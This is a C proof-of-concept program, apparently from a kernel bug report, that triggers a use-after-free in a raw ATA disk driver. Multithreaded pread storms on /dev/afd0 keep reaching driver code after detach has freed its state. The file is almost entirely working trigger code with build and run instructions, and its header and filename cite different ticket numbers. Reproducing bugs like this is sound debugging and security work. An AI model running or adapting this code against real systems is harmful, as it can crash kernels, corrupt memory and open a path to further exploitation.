DF-4874 / df4874_storm.c
/* * DF-4797 PoC — I/O storm against the raw nata ad device. * * N threads hold /dev/afd0 open and issue raw 512B preads in a tight loop. * The fd stays OPEN across device_detach(), which is the point: the cdev * keeps its ad_ops until the last reference drops, so post-detach preads * keep dispatching into ad_strategy() after ad_detach() kfree'd the * ad_softc (device_set_ivars(dev, NULL) at ata-disk.c:200). * * On ENXIO (cdev really dead) the thread closes and retries open so the * storm also survives attach/detach cycles. * * build: cc -O2 -pthread -o df4874_storm df4874_storm.c * run: ./df4874_storm [nthreads] [seconds] */ #include <sys/types.h> #include <sys/fcntl.h> #include <errno.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define DEV "/dev/afd0" static volatile sig_atomic_t stop_flag; static unsigned long total_io; static pthread_mutex_t stat_mtx = PTHREAD_MUTEX_INITIALIZER; static void * storm(void *arg __unused) { unsigned char buf[512]; unsigned long n = 0; off_t off = (random() & 0x7ffff) << 9; int fd; while (!stop_flag) { fd = open(DEV, O_RDONLY); if (fd < 0) { usleep(2000); continue; } for (;;) { if (stop_flag) break; if (pread(fd, buf, sizeof(buf), off) < 0) { /* ENXIO: detached & cdev dead -> reopen */ break; } off += 512; if (off > (60ULL << 20)) off = 0; n++; } close(fd); } pthread_mutex_lock(&stat_mtx); total_io += n; pthread_mutex_unlock(&stat_mtx); return (NULL); } int main(int argc, char **argv) { int nthreads = argc > 1 ? atoi(argv[1]) : 16; int seconds = argc > 2 ? atoi(argv[2]) : 60; pthread_t *tids; int i; tids = calloc(nthreads, sizeof(*tids)); for (i = 0; i < nthreads; i++) pthread_create(&tids[i], NULL, storm, NULL); fprintf(stderr, "storm: %d threads pounding %s for %ds\n", nthreads, DEV, seconds); sleep(seconds); stop_flag = 1; for (i = 0; i < nthreads; i++) pthread_join(tids[i], NULL); fprintf(stderr, "storm: done, total_io=%lu\n", total_io); return (0); } |